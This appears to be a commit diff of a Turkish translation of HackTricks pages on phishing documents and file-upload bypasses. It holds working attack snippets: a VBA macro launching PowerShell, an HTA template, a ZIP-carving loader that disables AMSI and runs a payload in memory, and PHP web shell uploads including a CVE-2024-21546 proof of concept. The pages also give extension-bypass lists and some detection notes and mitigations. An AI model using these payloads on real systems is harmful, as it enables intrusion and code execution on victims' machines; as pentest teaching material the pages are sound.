Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

This commit is contained in:
Translator 2025-09-30 04:40:43 +00:00
parent 5fa3ff1678
commit 9ba5c9abe4
4 changed files with 252 additions and 166 deletions

View File

@ -1,35 +1,35 @@
# Phishing Dosyaları ve Belgeler
# Phishing Dosyalar & Belgeler
{{#include ../../banners/hacktricks-training.md}}
## Office Belgeleri
Microsoft Word, bir dosyayı açmadan önce dosya verisi doğrulaması gerçekleştirir. Veri doğrulaması, OfficeOpenXML standardına göre veri yapısı tanımlaması şeklinde yapılır. Veri yapı tanımlaması sırasında herhangi bir hata oluşursa, analiz edilen dosya açılmayacaktır.
Microsoft Word, bir dosyayı açmadan önce dosya verisi doğrulaması yapar. Veri doğrulaması, OfficeOpenXML standardına göre veri yapısı tanımlaması şeklinde gerçekleştirilir. Veri yapısı tanımlaması sırasında herhangi bir hata oluşursa, analiz edilen dosya açılmaz.
Makro içeren Word dosyaları genellikle `.docm` uzantısını kullanır. Ancak, dosya uzantısını değiştirerek dosyayı yeniden adlandırmak ve makro çalıştırma yeteneğini korumak mümkündür.\
Örneğin, bir RTF dosyası tasarım gereği makroları desteklemez, ancak DOCM uzantılı bir dosya RTF olarak yeniden adlandırılırsa Microsoft Word tarafından işlenir ve makro çalıştırabilir.\
Aynı iç yapılar ve mekanizmalar Microsoft Office Suite'in tüm yazılımları için geçerlidir (Excel, PowerPoint vb.).
Genellikle makro içeren Word dosyaları `.docm` uzantısını kullanır. Ancak dosya uzantısını değiştirip dosyanın adını yeniden vererek makro çalıştırma yeteneği korunabilir.\
Örneğin, RTF formatı tasarım gereği makroları desteklemez, ancak DOCM olarak adlandırılmış bir dosya RTF'ye yeniden adlandırıldığında Microsoft Word tarafından işlenir ve makro çalıştırabilir hale gelir.\
Aynı iç yapı ve mekanizmalar Microsoft Office Suite'in (Excel, PowerPoint etc.) tüm yazılımları için de geçerlidir.
Aşağıdaki komutu, bazı Office programları tarafından hangi uzantıların çalıştırılacağını kontrol etmek için kullanabilirsiniz:
Bazı Office programları tarafından hangi uzantıların çalıştırılacağını kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX dosyaları makrolar içeren uzak bir şablona referans verdiğinde (File Options Add-ins Manage: Templates Go) makroları da “çalıştırabilir”.
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### Harici Resim Yükleme
Git: _Insert --> Quick Parts --> Field_\
Şuraya gidin: _Insert --> Quick Parts --> Field_\
_**Kategoriler**: Links and References, **Alan adları**: includePicture, ve **Dosya adı veya URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros Backdoor
Belgeden rastgele kod çalıştırmak için macros kullanılabilir.
Belgeden arbitrary code çalıştırmak için macros kullanmak mümkündür.
#### Otomatik yükleme fonksiyonları
Ne kadar yaygınlarsa, AV tarafından tespit edilme olasılıkları o kadar artar.
Ne kadar yaygınlarsa, AV tarafından tespit edilme olasılıkları o kadar yüksektir.
- AutoOpen()
- Document_Open()
@ -64,26 +64,26 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Metaverileri elle kaldır
#### Meta verilerini elle kaldır
Git **File > Info > Inspect Document > Inspect Document**, bu Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve ardından **Document Properties and Personal Information**'ın yanındaki **Remove All**'a tıklayın.
Şuraya gidin: **File > Info > Inspect Document > Inspect Document**, bu Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve ardından **Document Properties and Personal Information** yanında bulunan **Remove All**'a tıklayın.
#### Doc Extension
#### Doc Uzantısı
Tamamlandığında, **Save as type**ılır menüsünü seçin, formatı **`.docx`**'den **Word 97-2003 `.doc`**'e değiştirin.\
Bunun nedeni, **you **can't save macro's inside a `.docx`** ve macro-enabled **`.docm`** uzantısı etrafında bir **stigma** olmasıdır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta ağ geçitleri bunları tamamen engeller). Bu nedenle, bu **legacy `.doc` extension is the best compromise**.
İşiniz bittikten sonra **Save as type**ılır menüsünü seçin, formatı **`.docx`**'ten **Word 97-2003 `.doc`**'a değiştirin.\
Bunun nedeni, **`.docx`** içine makroları kaydedememeniz ve makro etkin **`.docm`** uzantısının etrafında bir **stigma** olmasıdır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta gateway'leri bunları tamamen engeller). Bu nedenle, bu **eski `.doc` uzantısı en iyi uzlaşıdır**.
#### Malicious Macros Generators
#### Kötü Amaçlı Makro Üreticileri
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA Files
## HTA Dosyaları
HTA, HTML ile betik dillerini (ör. VBScript ve JScript) birleştiren bir Windows programıdır. Kullanıcı arayüzünü üretir ve bir tarayıcının güvenlik modeli kısıtlamaları olmadan "fully trusted" bir uygulama olarak çalıştırılır.
Bir HTA, **HTML ve script dillerini (örneğin VBScript ve JScript)** birleştiren bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve bir tarayıcının güvenlik modelinin kısıtlamaları olmadan "tam güvenilir" bir uygulama olarak çalışır.
Bir HTA, genellikle **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **Internet Explorer** ile birlikte **installed** olur ve bu da **`mshta` dependant on IE** olmasını sağlar. Bu nedenle Internet Explorer kaldırıldıysa, HTA'lar çalıştırılamaz.
Bir HTA, **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **Internet Explorer** ile birlikte **yüklü** gelir, bu da **`mshta`**'nın IE'ye bağımlı olmasına neden olur. Bu nedenle, Internet Explorer kaldırıldıysa, HTA'lar çalıştırılamaz.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## NTLM Kimlik Doğrulamasını Zorlama
## NTLM Authentication'ı Zorlama
NTLM kimlik doğrulamasını **"uzaktan"** zorlamanın birkaç yolu vardır; örneğin, kullanıcının erişeceği e-postalara veya HTML'e **görünmez resimler** ekleyebilirsiniz (hatta HTTP MitM?). Veya kurbana, klasörü **açmak**la **tetiklenecek** **bir kimlik doğrulamasını** başlatacak **dosya adresleri** gönderebilirsiniz.
Several ways to **force NTLM authentication "remotely"**, örneğin kullanıcının erişeceği e-postalara veya HTML'e **görünmez resimler** ekleyebilirsiniz (hatta HTTP MitM?). Veya kurbanın sadece **klasörü açmasıyla** bir **authentication** tetikleyecek **dosyaların adresini** gönderebilirsiniz.
**Bu fikirleri ve daha fazlasını aşağıdaki sayfalarda inceleyin:**
**Aşağıdaki sayfalarda bu fikirleri ve daha fazlasını inceleyin:**
{{#ref}}
@ -156,24 +156,24 @@ NTLM kimlik doğrulamasını **"uzaktan"** zorlamanın birkaç yolu vardır; ör
### NTLM Relay
Hash'i veya kimlik doğrulamayı çalmanın yanı sıra, ayrıca **NTLM relay attacks** gerçekleştirebileceğinizi unutmayın:
Unutmayın, sadece hash'i veya authentication'ı çalamazsınız, aynı zamanda **perform NTLM relay attacks** da yapabilirsiniz:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Oldukça etkili kampanyalar, içinde iki meşru sahte belge (PDF/DOCX) ve kötü amaçlı bir .lnk bulunan bir ZIP gönderir. Hile şudur: gerçek PowerShell loader, ZIP'in ham baytlarının içinde benzersiz bir işaretçiden sonra saklanır ve .lnk bunu bellekte çıkarır ve tamamen çalıştırır.
Oldukça etkili kampanyalar iki meşru tuzak belge (PDF/DOCX) ve kötü amaçlı bir .lnk içeren bir ZIP gönderir. Hile şudur: gerçek PowerShell loader, ZIPin ham byte'larının içinde benzersiz bir işaretleyiciden sonra saklanır ve .lnk onu bellekte çıkarır ve tamamen çalıştırır.
. ln k tek satırlık PowerShell tarafından uygulanan tipik akış:
.lnk PowerShell one-liner tarafından uygulanan tipik akış:
1) Orijinal ZIP'i yaygın yollar içinde bulun: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve şu anki çalışma dizininin üst dizini.
2) ZIP baytlarını okuyun ve sabit kodlu bir işaretçi bulun (ör. xFIQCV). İşaretçiden sonraki her şey gömülü PowerShell payload'ıdır.
3) ZIP'i %ProgramData% içine kopyalayın, orada çıkarın ve meşru görünmesi için sahte .docx'i açın.
4) Mevcut işlem için AMSI'yi atlayın: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Bir sonraki aşamadaki obfuskasyonu kaldırın (ör. tüm # karakterlerini silin) ve bellekte çalıştırın.
1) Orijinal ZIP'i yaygın yollar içinde bul: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve geçerli çalışma dizininin üst klasörü.
2) ZIP byte'larını oku ve sert kodlanmış bir marker (ör. xFIQCV) bul. Marker'dan sonraki her şey gömülü PowerShell payload'tır.
3) ZIP'i %ProgramData% içine kopyala, orada çıkar ve meşru görünmesi için tuzak .docx'i aç.
4) Geçerli süreç için AMSI'yi atla: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Sonraki aşamayı deobfuscate et (ör. tüm # karakterlerini kaldır) ve bellekte çalıştır.
Gömülü aşamayı çıkarıp çalıştırmak için örnek PowerShell iskeleti:
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -191,25 +191,25 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
Notlar
- Teslimat genellikle saygın PaaS alt alan adlarını (ör. *.herokuapp.com) kötüye kullanır ve payload'ları gate'leyebilir (IP/UA'ya göre zararsız ZIP'ler sunar).
- Bir sonraki aşama sık sık base64/XOR shellcode'u çözer ve disk izlerini en aza indirmek için Reflection.Emit + VirtualAlloc aracılığıyla çalıştırır.
- Teslimat genellikle saygın PaaS alt alan adlarını kötüye kullanır (örn., *.herokuapp.com) ve yükleri kısıtlayabilir (IP/UA'ya göre zararsız ZIP'ler sunabilir).
- Bir sonraki aşama genellikle base64/XOR shellcode'unu çözer ve disk artefaktlarını azaltmak için Reflection.Emit + VirtualAlloc ile çalıştırır.
Aynı zincirde kullanılan persistence
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control — böylece IE/Explorer veya onu içeren herhangi bir uygulama payload'u otomatik olarak yeniden başlatır. Ayrıntılar ve hazır komutlar için buraya bakın:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- Arşiv verisinin sonuna eklenmiş ASCII marker string (ör. xFIQCV) içeren ZIP dosyaları.
- ZIP'i bulmak için üst/kullanıcı klasörlerini listeleyen ve bir aldatıcı doküman açan .lnk.
- AMSI'ye müdahale via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Uzun süre çalışan business thread'ler güvenilir PaaS domain'lerinde barındırılan linklerle sona erer.
- Arşiv verisine eklenmiş ASCII işaretçi dizisini (örn., xFIQCV) içeren ZIP dosyaları.
- ZIP'i bulmak için üst/kullanıcı klasörlerini tarayan ve bir decoy document açan .lnk.
- AMSI'ye müdahale, [System.Management.Automation.AmsiUtils]::amsiInitFailed aracılığıyla.
- Güvenilen PaaS alan adlarında barındırılan linklerle sonuçlanan uzun süre çalışan iş parçacıkları.
## NTLM hash'lerini çalmak için Windows dosyaları
Şu sayfaya bakın: **places to steal NTLM creds**:
İlgili sayfaya bakın: **places to steal NTLM creds**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md

View File

@ -7,7 +7,7 @@
Diğer faydalı uzantılar:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHPv8 ile çalışırken**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@ Diğer faydalı uzantılar:
### Dosya uzantısı kontrollerini atlatma
1. Uygulanıyorsa, **önceki uzantıları kontrol edin.** Ayrıca bunları bazı **büyük harf** varyasyonlarıyla test edin: _pHp, .pHP5, .PhAr ..._
2. _Yürütme uzantısından **önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
1. Geçerliyse, **önceki uzantıları kontrol edin.** Ayrıca bazı **büyük harfler** kullanarak test edin: _pHp, .pHP5, .PhAr ..._
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi** kontrol edin (önceki uzantıları da kullanın):_
- _file.png.php_
- _file.png.Php5_
3. Sondan **özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Not: ayrıca daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
3. Dosya adının sonuna **özel karakterler** eklemeyi deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Ayrıca **önceden** bahsedilen **uzantıları** kullanmayı da deneyebilirsiniz_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Diğer faydalı uzantılar:
- _file._
- _file.php...._
- _file.pHp5...._
4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örnek olarak **uzantıyı çiftlemek** veya uzantılar arasına **junk** veri (**null** byte'lar) eklemek gibi teknikleri kullanın. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
4. Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlatmayı deneyin; örneğin uzantıyı çiftlemek veya uzantılar arasına çöp veri (**null bytes**) eklemek gibi teknikler kullanın. _Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,10 +43,10 @@ Diğer faydalı uzantılar:
5. Önceki kontrole **başka bir uzantı katmanı** ekleyin:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Yürütme uzantısını geçerli uzantıdan **önce koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını sömürmek için faydalıdır; örneğin uzantısı .php olan herhangi bir şey, .php ile bitmese bile kodu çalıştırıyor olabilir):
6. Yürütme uzantısını geçerli uzantının **önüne** koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache'nin bazı yanlış yapılandırmalarını istismar etmek için faydalıdır; burada uzantısı **.php** olan herhangi bir şey, mutlaka **.php** ile bitmese bile kod çalıştırabilir):
- _ex: file.php.png_
7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanma. Bu durumda, yasaklı uzantıdan sonra ve izin verilen uzantıdan önce iki nokta ":" karakteri eklenecektir. Sonuç olarak sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulur (örn. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı gibi diğer tekniklerle düzenlenebilir. "**::$data**” deseni boş olmayan dosyalar oluşturmak için de kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek, ek kısıtlamaları atlatmak için faydalı olabilir (örn. "file.asp::$data.").
8. Dosya adı sınırlarınımayı deneyin. Geçerli uzantı kesilir ve kötü amaçlı PHP kalır. AAA<--SNIP-->AAA.php
7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce bir iki nokta üst üste ":" karakteri eklenir. Sonuç olarak sunucuda yasaklı uzantıya sahip **boş bir dosya** oluşturulabilir (ör. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı gibi başka tekniklerle düzenlenebilir. "**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek, daha ileri kısıtlamaları atlatmak için faydalı olabilir (ör. "file.asp::$data.")
8. Dosya adı limitlerini kırmayı deneyin. Geçerli uzantı kesilir ve kötü amaçlı PHP dosyası kalır. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,13 +59,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. sonda nokta) CVE-2024-21546
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Bazı upload handler'ları kaydedilen dosya adındaki sondaki nokta karakterlerini keser veya normalleştirir. UniSharpın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerinde uzantı doğrulamasını şu şekilde atlatabilirsiniz:
Bazı upload handler'lar kaydedilen dosya adından sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharpın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerde, uzantı doğrulamasını şu şekilde atlayabilirsiniz:
- Geçerli bir image MIME tipi ve magic header kullanmak (örn. PNGnin `\x89PNG\r\n\x1a\n`).
- Yüklenen dosyayı PHP uzantısı sonuna bir nokta ekleyerek adlandırmak, örn. `shell.php.`.
- Sunucu sondaki noktayı kaldırır ve `shell.php` olarak saklar; bu dosya web'de servis edilen bir dizine (varsayılan public storage gibi `/storage/files/`) yerleştirilmişse çalıştırılacaktır.
- Geçerli bir image MIME ve magic header kullanın (ör. PNGnin `\x89PNG\r\n\x1a\n`).
- Yüklenen dosyayı PHP uzantısı ve ardından bir nokta ile adlandırın, örn. `shell.php.`.
- Sunucu sonundaki noktayı kaldırır ve `shell.php` olarak kalır; bu dosya web'e servis edilen bir dizine (varsayılan olarak public storage like `/storage/files/`) yerleştirilirse çalıştırılır.
Minimal PoC (Burp Repeater):
```http
@ -80,65 +80,65 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Sonra kaydedilen yola istek gönderin (Laravel + LFM'de tipik):
Ardından kaydedilen yolu çağırın (Laravel + LFM için tipik):
```
GET /storage/files/0xdf.php?cmd=id
```
Önlemler:
- unisharp/laravel-filemanager'ı ≥ 2.9.1 sürümüne yükseltin.
- Sunucu tarafında katı izin listeleri uygulayın ve kalıcı dosya adını yeniden doğrulayın.
- unisharp/laravel-filemanager'ı ≥ 2.9.1 sürümüne güncelleyin.
- Sunucu tarafında sıkı allowlists uygulayın ve saklanan dosya adını yeniden doğrulayın.
- Yüklemeleri yürütülebilir olmayan konumlardan servis edin.
### Content-Type, Magic Number, Compression & Resizing'i Atlatma
### Bypass Content-Type, Magic Number, Compression & Resizing
- **Content-Type** kontrollerini **Content-Type** **header**ının **value**sını şu değerlerden biriyle ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_
- Bypass **Content-Type** kontrollerini **Content-Type** **header**ının **value**sini şu değerlere ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** kontrolünü, dosyanın başına gerçek bir görüntünün **bytes**larını ekleyerek ( _file_ komutunu yanıltmak için) atlatın. Veya shell'i **metadata** içine yerleştirin:\
- Bypass **magic number** kontrolünü dosyanın başına gerçek bir görüntünün **bytes**larını ekleyerek atlatın ( _file_ komutunu yanıltmak için). Veya shell'i **metadata** içine yerleştirin:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya payload'ı doğrudan bir görüntüye de yerleştirebilirsiniz:\
`\` ya da payload'u doğrudan bir görüntü içine de **yerleştirebilirsiniz**:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Eğer görüntünüze **sıkıştırma** ekleniyorsa, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi standart PHP kütüphaneleri kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, **sıkıştırmaya dayanacak** bazı metinler eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Eğer **görüntünüze sıkıştırma uygulanıyorsa**, örneğin PHP-GD gibi standart PHP kütüphaneleri kullanılıyorsa, önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmaya **dayanacak** bazı metinler eklemek için **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web sayfası ayrıca görüntüyü PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` gibi fonksiyonlarla **yeniden boyutlandırıyor** olabilir. Ancak, **sıkıştırmaya dayanacak** metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Web sayfası ayrıca görüntüyü **resize** ediyor olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanılıyor olabilir. Ancak, sıkıştırmaya **dayanacak** metin eklemek için **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Bir başka teknik, PHP-GD fonksiyonu `thumbnailImage` kullanıldığında bile **yeniden boyutlandırmaya dayanacak** bir payload oluşturmayı sağlar. Ancak, **sıkıştırmaya dayanacak** metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Görüntü yeniden boyutlandırılmasına karşı dayanıklı bir payload oluşturmak için başka bir teknik de, PHP-GD fonksiyonu `thumbnailImage` kullanılırken işe yarayabilir. Ancak, sıkıştırmaya **dayanacak** metin eklemek için **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Kontrol Edilecek Diğer Hileler
### Diğer Kontrol Edilecek Yöntemler
- Zaten yüklenmiş dosyanın uzantısını değiştirmek için dosyayı **yeniden adlandırma** zafiyeti bulun.
- Zaten yüklenmiş dosyanın adını (uzantısını değiştirmek için) **yeniden adlandırmaya** izin veren bir zafiyet bulun.
- Backdoor'u çalıştırmak için bir **Local File Inclusion** zafiyeti bulun.
- Olası bilgi sızması:
1. Aynı dosyayı aynı isimle **birden fazla kez** (ve **aynı anda**) yükleyin.
2. Zaten var olan bir **dosya** veya **klasör** adıyla dosya yükleyin.
3. Adı **"." , "..", veya "…" olan bir dosya yükleyin. Örneğin, Apache üzerinde **Windows**'ta uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydettiğinde, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır.
4. **NTFS** üzerinde kolay silinemeyen bir dosya yükleyin, örneğin **"…:.jpg"**. (Windows)
5. **Windows** üzerinde adında `|<>*?”` gibi **geçersiz karakterler** olan bir dosya yükleyin.
6. **Windows** üzerinde CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi **rezerved** (**yasaklı**) isimleri kullanarak dosya yükleyin.
- Bir de **yürütülebilir** (.exe) veya kazara açıldığında kod çalıştıracak daha az şüpheli bir **.html** yüklemeyi deneyin.
- **Olası Bilgi sızıntıları**:
1. Aynı dosyayı **birkaç kez** (ve **aynı anda**) aynı isimle yükleyin.
2. Zaten var olan bir **dosya** veya **klasör** ismiyle bir dosya yükleyin.
3. Dosya ismi olarak **"." , "..", veya "…"** kullanarak dosya yükleme. Örneğin, Apache üzerinde **Windows**'ta uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads” adlı bir dosya oluşturacaktır.
4. **NTFS** üzerinde kolay silinmeyebilecek bir dosya yükleyin, örneğin **"…:.jpg"**. (Windows)
5. **Windows** üzerinde dosya adında `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows)
6. **Windows** üzerinde CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, ve LPT9 gibi **rezerve (yasaklanmış) isimleri** kullanarak bir dosya yükleyin.
- Ayrıca, kurbanın yanlışlıkla açması durumunda kod çalıştıracak bir **executable** (.exe) veya daha az şüpheli olan bir **.html** yüklemeyi de deneyin.
### Özel uzantı hileleri
Eğer **PHP server**a dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Eğer **ASP server**a dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Eğer dosyaları bir **PHP server**'a yüklemeye çalışıyorsanız, kod çalıştırmak için [**.htaccess** hilesine göz atın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Eğer dosyaları bir **ASP server**'a yüklemeye çalışıyorsanız, kod çalıştırmak için [**.config** hilesine göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` dosyaları Java için `.jar` gibidir, ancak php için olup **php dosyası gibi kullanılabilir** (php ile çalıştırma veya bir script içine include etme...).
`.phar` dosyaları, java için `.jar` gibi, php için benzer şekilde kullanılabilir ve **php dosyası gibi kullanılabilir** (php ile çalıştırmak veya bir script içine include etmek gibi...).
`.inc` uzantısı bazen sadece dosya içe aktarmak için kullanılan php dosyaları için kullanılır; bu yüzden bir noktada biri bu uzantının yürütülmesine izin vermiş olabilir.
`.inc` uzantısı bazen sadece **import** amaçlı kullanılan php dosyaları için kullanılır; bu yüzden bir noktada biri bu uzantının **çalıştırılmasına** izin vermiş olabilir.
## **Jetty RCE**
Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [RCE elde edebilirsiniz çünkü **yeni *.xml ve *.war dosyaları otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Bu yüzden, aşağıdaki görselde belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin!
Eğer bir Jetty sunucusuna XML dosyası yükleyebilirseniz, [RCE elde edebilirsiniz çünkü **yeni *.xml ve *.war dosyaları otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu yüzden, aşağıdaki görselde belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Bu zafiyetin detaylı incelemesi için orijinal araştırmaya bakın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Bu zafiyetin ayrıntılı bir incelemesi için orijinal araştırmaya bakın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) zafiyetleri, `.ini` konfigürasyon dosyasını değiştirme yeteneğiniz varsa uWSGI sunucularında kullanılabilir. uWSGI konfigürasyon dosyaları "magic" değişkenler, placeholder'lar ve operatörleri içerecek şekilde özel bir sözdizimi kullanır. Özellikle '@' operatörü, `@(filename)` şeklinde kullanıldığında bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli scheme'ler arasında "exec" scheme'i özellikle güçlüdür; bir sürecin standard output'undan veri okunmasına izin verir. Bir `.ini` konfigürasyon dosyası işlendiğinde bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanım senaryoları için manipüle edilebilir.
